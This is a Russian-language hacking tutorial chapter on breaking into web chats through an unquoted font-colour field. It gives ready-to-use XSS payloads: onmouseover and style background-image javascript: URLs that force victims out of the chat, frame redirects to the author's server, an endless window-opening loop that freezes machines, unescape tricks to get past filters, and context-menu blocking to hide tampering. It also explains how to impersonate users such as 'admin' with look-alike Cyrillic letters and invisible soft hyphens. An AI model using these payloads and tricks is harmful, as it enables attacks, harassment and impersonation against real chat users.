На главную

 

Взлом чата
Приведу пример одного из первых взломанных мною чатов. Этот чат был очень простым, и взламывался что называется с первого захода :)). Да и мало сейчас осталось чатов, в которых это проходит. Хотя я додумался до этих методов сам, но потом я их нашел и в хакерских журналах. Входная форма этого чата в точности соответствовала форме, приведенной в главе "Общая теория". После преобразования и сохранения формы на диске, я проверил какие символы в атрибуте цвета проходят. Оказалось что проходят следующие символы (из тех что нас интересуют-см. гл "Общая теория"):
'`=;%
пробел


Ну и конечно же проходили все цифры и буквы. Длинна строки-значения цвета не ограничивалась. Далее я посмотрел куда именно вставляется цвет во фрейме сообщений. Вот фрагмент этого фрейма:<font color=Black><b>Путник</b>- Alpha, привет ))</font><br><font color= Red><b>Alpha</b>- Всемприветик !!</font><br>Как видно, цвет вставляется без окружающих кавычек. Это меня устраивало. Я залогинился под ником Algol (ну или почти под таким ником ;)) и цветом red size=20. Мое сообщение выглядело следующим образом: <font color=red size=20><b>Algol</b>- Hi</font><br>Оно выводилось очень крупным шрифтом, что немного удивило население чата :)). Таким образом, несмотря на то, что непосредствено теги мы вставить не можем, но разрешение на ввод пробела в атрибуте цвета, позволило нам задавать несанкционированные параметры тега <font>. Однако мне этого было конечно мало. Менять размер шрифта конечно классно, но действительно что-то полезное можно сделать только используя скрипты. Вставить непосредственно тег script я не мог (вернее в то время я еще не знал как это сделать). Но я мог задать обработчик на какое-либо событие тега <font>. Вот какой цвет я задавал для того, что бы удалить какого нибудь придурка из чата: #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. И затем посылал ему длинное длинное сообщение в приват. Цвет сообщения я подобрал таким образом, что бы оно не отличалось от фонового цвета. А размер шрифта и длинна сообщения были такими огромными, что жертва наверняка хоть раз прошлась мышкой по сообщению, в результате чего мой обработчик onmouseover нажимал кнопочку "покинуть чат" вместо юзера :)).Однако, постепенно нашлись умники, которые раскусили прикол, и намеренно не возили курсор по окну чата. Мой скрипт срабатывал не всегда :((. Сначала я думал, что выхода нет. Поскольку я могу вставлять скрипт только как обработчик события, тогда если это событие не происходит, то и скрипт не срабатывает. Но, покопавшись в "анналах", я нашел решение (сейчас оно уже стало тривиальным и широко известным). Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался сам, по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:Red style=background-image:url(javascript:alert('приветик_всем_!!'))

Следует заметить важную деталь: поскольку структура большинства HTML чатов такова, что страница регулярно обновляется, то скрипт посланный таким образом выполняется не один раз, а много, до тех пор пока наше сообщение не исчезнет с экрана.А вот как теперь выглядело значения атрибута цвета для выкидывания из чата:Red style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click())Нужно помнить: скрипт посланный в привате, увидит не только ваш "собеседник", но и вы сами, поэтому надо знать как самому защититься от влияния скрипта. Это можно сделать двумя способами: либо поставить самого себя в игнор (и тогда мы не будем видеть собственные сообщения), либо в настройках браузера запретить отображение картинок. Тогда скрипт, срабатывающий через фоновый рисунок, работать не будет.Теперь я хочу показать некотрые полезные скрипты, которые можно применять во взломанных чатах:javascript:navigate('http://myserver.ru') - загружает в текущий фрейм (или страницу) сайт myserver.ru. Некоторые чаты, при виде фрагмента http:// считают это ссылкой, и автоматически вставляют тег <a>. Поскольку это разрушит наш скрипт, то этого нельзя допускать. Для этого нужно просто опустить префикс http: (который и так принимается по умолчанию). Тогда скрипт будет выглядеть: javascript:navigate('//myserver.ru'). Два впереди идущих слеша - обязательны.javascript:parent.frames[2].document.location= 'http://myserver.ru' - загружает в один из фреймов сайт myserver.ru.javascript:for(;;)open() - открывает бесконечное число окон (если вовремя не сориентироваться, то приводит к зависанию машины и последующей перезагрузке).javascript:document.write('<script>alert()</script>') - заменяет текущий фрейм скриптом, который затем выполняется. Примечание: если чат не пропускает символы < и > (а это подавляющее число чатов) то такой скрипт мы вставить не сможем. Но есть выход. Это применение функции unescape(), которая преобразует ASCII-код символа в символ. Заменим угловые скобки на функцию unescape() с соответсвующими кодами, тогда наш скрипт примет вид: javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) См. также на эту тему главу "Еще несколько взломов многострадального чата T"javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - вставляет картинку после текста. Замечу, что в IE 5.x вставить можно любой тег кроме FRAME, IFRAME и SELECT. Но в IE 4.x функция createElement() допускает вставку только тегов IMG, AREA и OPTION . Информации насчет Netscape не имею, можете поэкспериментировать сами.'javascript:st='Фиг&nbsp;вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' - блокирует выпадающее меню страницы, и следовательно делает недоступным просмотр HTML содержиме фрейма. Благодаря этому можно скрывать свои махинации с телом чата :)).

Иногда бывает полезно логинится под чужим ником. Чаты с системой регистрации юзеров не позволят вам это сделать, если вы не знаете пароля (а вы его скорее всего и не знаете). Банальный выход : регистрация с ником в котором буква латинского алфавита заменятеся на очень похожую букву русской раскладки. Например логинимся под ником admin где латинская буква а заменена на русскую а. Метод примитивный, но работает )). Бывают и более тяжелые случаи. Например в некоторых чатах запрещено использование в одном нике символов из разных раскладок. Тогда пытливому уму ничего не остается делать, как обратится к дяде Гейтсу за помощью. И вот она доброта людская, Microsoft не забыл про грешных юзеров и подарил нам символ &shy;(он же &#173; он же %AD), который сама микрософта назвала "Soft hyphen" ("Короткий дефис"). Он действительно в Word выглядит как дефис, и в экселе тоже, и даже в блокноте, но только не в IE! Для майкрософтовского эскплорера символа &shy; просто не существует, то есть он как бы есть, но для него забыли сделать графическое представление. Он просто напросто не прорисовывается в HTML страничке! Смотрите сами. Таким образом, добавив короткий дефис к любому нику и зарегестрировавшись под ним, мы входим в чат с ником, который будет выглядеть на HTML странице точно так же как и ник без дефиса. А можно сделать еще круче - залогиниться под ником, сотоящим только из символов короткого дефиса. Тогда ваш ник вообще не будет отображаться в чате, абсолютно пустое место)).

(Примечание: Повозившись еше немного с символом короткого дефиса я все же обнаружил случаи, когда он появляется: Он появляется только как символ переноса. То есть если внутри слова стоит короткий дефис и если это слово стоит в конце строки, то часть слова после дефиса может быть перенесена на следующую строку, а сам дефис становится видимым! Таким образом, возможно невидимость дефиса - преднамеренная фича майкрософта (что впрочем не уменьшает его полезность при взломах :)). Правда непонятно почему же он все-таки остается всегда видимым в остальных приложениях?)